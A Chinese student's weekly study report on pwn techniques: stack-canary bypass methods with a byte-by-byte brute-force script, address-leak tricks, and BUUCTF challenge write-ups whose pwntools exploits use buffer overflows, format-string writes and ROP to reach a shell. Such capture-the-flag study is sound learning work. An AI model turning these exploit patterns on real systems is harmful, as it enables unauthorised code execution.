目录
WEEK4
周报
canary
常见的Canary绕过方式
-
泄露栈中的 Canary
Canary 设计为以字节
\x00
结尾,本意是为了保证 Canary 可以截断字符串. 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分.这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程. -
格式化字符串泄露
将格式化字符串的参数定位符定位到canary的位置,由输出函数进行输出泄露.
-
one-by-one 爆破 Canary
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的,并且通过
fork
函数创建的子进程的 Canary 也是相同的,因为fork
函数会直接拷贝父进程的内存.我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来.在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary.这是爆破的 Python 代码:
print("[+] Brute forcing stack canary ") start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print("\t[+] Byte found 0x%02x" % i) break if i == 255: print("[-] Exploit failed") sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print(" [+] SSP value is 0x%s" % canary)
-
劫持
__stack_chk_fail
函数
已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed
函数. stack_chk_failed
函数是一个普通的延迟绑定函数,可以通过修改 GOT表
劫持这个函数.
- 覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比.当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过.
泄露程序地址/栈地址
printf
,puts
函数会一直打印数据直到碰上'\00'
可以将用于泄露的缓冲区最后一位的'\00'
覆盖掉,使输出函数一直输出数据泄露地址.
- 格式化字符串泄露
将格式化字符串的参数定位符定位到要泄露的参数位置,由输出函数输出泄露.
- 构造输出函数
利用ROP思想构造一个调好参数的输出函数,把要泄露的地址打印到屏幕上.
buu
pwn1_sctf_2016
保护+IDA:
思路
栈溢出运行get_flag函数.但是他有个replace函数,可以看到第12行的fgets是我们的输入点,但是它只读入了32(=0x20)长度的数据,没有办法造成溢出.
但是这个程序有点意思的地方就在于会将一个字节的“I”替换成三个字节的“you”
那么我们输入20字节的 “I” ,经过第19行的replace函数后会变成60字节的 “you” ,这样就可以进行溢出了.
exp:
from pwn import *
context.log_level = 'debug'
res = remote('node4.buuoj.cn',26681)
get_flag = 0x8048F0D
payload = 'I' * (0x1c + 0x4) + 'aaaa' + p32(get_flag)
res.sendline(payload)
res.interactive()
jarvisoj_level0
保护+IDA:
朴实无华的栈溢出.
搜索字符串,发现可能有后门函数.
get:
思路
栈溢出.
exp:
from pwn import *
context.log_level = 'debug'
res = remote('node4.buuoj.cn',29178)
bin_sh = 0x400596
res.recvuntil('Hello')
payload = 'a' * (0x80 + 0x8) + p64(bin_sh)
res.sendline(payload)
res.interactive()
[第五空间2019 决赛]PWN5
保护+IDA:
思路
格式化字符串进行对随机数进行覆写.
exp:
from pwn import *
context.log_level = 'debug'
res = remote('node4.buuoj.cn',25626)
addr = 0x0804C044
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
res.sendline(payload)
res.sendline(str(0x10101010))
res.interactive()
ciscn_2019_n_8
保护+IDA:
思路
改写var[13]的值为17.
exp:
from pwn import *
res = remote("node4.buuoj.cn",26781)
res.recvuntil('name')
payload = "aaaa"*13 + p64(0x11)
res.sendline(payload)
res.interactive()
jarvisoj_level2
保护+IDA:
思路
有system函数和'/bin/sh\0',考虑rop构造.
exp:
from pwn import *
#res = process('./level2')
res = remote('node4.buuoj.cn',26548)
pop_rdi = 0x4006b3
ret = pop_rdi + 1
system = 0x4004C0
sh = 0x600A90
print(hex(system))
print(hex(sh))
res.recvuntil('Input:')
payload = b'a' * 0x88 + p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)
res.sendline(payload)
res.interactive()
汇编语言
汇编语言的组成
有以下三类之指令组成
- 汇编指令: 机器码的助记符,有对应的机器码
- 伪指令: 没有对应的机器码,由编译器执行,计算机不执行
- 其他符号: 如 '+' 、"-"、"*"、'/' 等,由编译器识别,没有对应的机器码
- CPU要想进行对数据的读写,必须和外部器件(芯片)进行下面三类信息的交互:
- 存储单元的地址 (地址信息)
- 器件的选择,读或写的命令 (控制信息)
- 读或写的数据 (数据信息)